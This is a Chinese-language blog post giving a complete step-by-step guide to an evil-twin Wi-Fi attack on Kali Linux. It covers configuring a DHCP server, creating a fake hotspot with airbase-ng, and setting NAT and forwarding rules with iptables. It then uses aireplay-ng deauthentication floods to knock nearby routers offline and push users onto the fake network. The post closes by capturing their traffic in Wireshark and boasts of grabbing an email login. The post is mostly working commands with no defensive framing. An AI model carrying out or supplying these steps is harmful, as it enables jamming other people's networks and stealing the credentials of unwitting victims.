创建假的wifi热点

Posted 2020-11-11 baiyixuezhang

本帖介绍怎么创建假的wifi热点，然后抓取连接到这个wifi用户的敏感数据。我们还会给周围的无线路由器发送未认证的包，使这些路由器瘫痪，强迫用户连接（或自动连接）我们创建的假wifi热点。

这种攻击也叫”水坑攻击”－把其他用户都聚集到一个”坑”中。

系统要求：

• Kali Linux
• 本地有线网络连接（网络接口 eth0）
• 无线网卡支持包注入模式和监控模式 （网络接口 wlan0）
• 各种抓包工具－Wireshark、 ettercap、tcpdump…

获得默认网关

# route -n

这个值在设置iptables时会用到。

安装DHCP服务

用处: 为连接假wifi的用户分配IP。

# apt-get install isc-dhcp-server

配置DHCP：

# vim /etc/dhcp/dhcpd.conf

文件中内容：

authoritative;
default-lease-time 600;
max-lease-time 7200;

subnet 192.168.10.0 netmask 255.255.255.0 {
   option routers 192.168.10.1;
   option subnet-mask 255.255.255.0;
   option domain-name "freewifi";
   option domain-name-servers 8.8.8.8,8.8.4.4,192.168.0.1;
   range 192.168.10.100 192.168.10.140;
}

先不启动DHCP服务。

进入无线网卡的监控模式

# airmon-ng start wlan0
# airmon-ng check kill

把wlan0替换为你的无线网卡接口。

要退出监控模式，执行：

# airmon-ng stop wlan0mon

创建wifi热点

# airbase-ng -c 11 -e fake_wifi wlan0mon

不要终止这个命令。

现在你已经创建了一个wifi热点，但是这个wifi目前还不能连接。

设置网络和防火墙规则

# ifconfig at0 up
# ifconfig at0 192.168.10.1 netmask 255.255.255.0
# ifconfig at0 mtu 1400
# route add -net 192.168.10.0 netmask 255.255.255.0 gw 192.168.10.1
# iptables --flush
# iptables --table nat --flush
# iptables --delete-chain
# iptables --table nat --delete-chain
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.0.1
# iptables -P FORWARD ACCEPT
# iptables --append FORWARD --in-interface at0 -j ACCEPT
# iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE

启动DHCP服务

# dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
# systemctl start isc-dhcp-server

遇到的问题：

PID file: /var/run/dhcpd.pid
Can‘t open lease database /var/lib/dhcp/dhcpd.leases: No such file or directory --

创建这个文件解决这个问题：

# mkdir /var/lib/dhcp/
# touch /var/lib/dhcp/dhcpd.leases

到此，wifi热点创建完成。

瘫痪其他路由

列出周围的wifi：

# airodump-ng wlan0mon

然后选择你的目标，记住BSSID和频道。

设置频道：

# iwconfig wlan0mon channel <频道号>

开始deauthentication攻击：

# aireplay-ng -0 5000 -a <BSSID> wlan0mon --ignore-negative-one

---

OK，现在你可以愉快的抓包了。

---

例如使用Wireshark抓包：

上图抓到了我手机邮件客户端登录的邮箱账户。